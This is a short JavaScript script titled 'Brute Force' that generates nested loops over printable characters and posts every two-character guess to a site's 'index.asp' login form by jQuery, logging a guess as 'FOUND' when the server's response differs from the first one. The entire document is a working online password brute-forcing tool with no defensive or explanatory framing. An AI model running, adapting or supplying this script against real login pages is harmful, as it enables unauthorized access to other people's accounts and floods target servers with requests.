Brute Force

brute-force.js

function genfors(n) 
{ 
	var r = ""; 
	for (var i=97; i<97+n; i++)
	{ 
		var x = String.fromCharCode(i);
		r += "for(var "+x+"=32;"+x+"<127;"+x+"++)\n";
	} 
	r += "foo(";
	for (var i=97; i<97+n; i++)
	{ 
		var x = String.fromCharCode(i);
		r += "String.fromCharCode("+x+")";
		if (i<97+n-1) r += "+";
	}
	r += ");"
	return r;
}

var fail_response;
var win_response;
function foo(pwd) 
{
	setTimeout(function(){
	$.post("index.asp", { enter : pwd, submitted : "SUBMITTED" }, function (response) 
	{ 
		if (!fail_response)
		{
			fail_response = response;
			return;
		}
		if (fail_response == response)
		{
			console.log(pwd);
		}
		else
		{
			console.log("FOUND: "+pwd);
			win_response = response;
			console.log(win_response);
			stop();
			return;
		}
	});
	}, 1);
}

var script = genfors(2);
eval(script);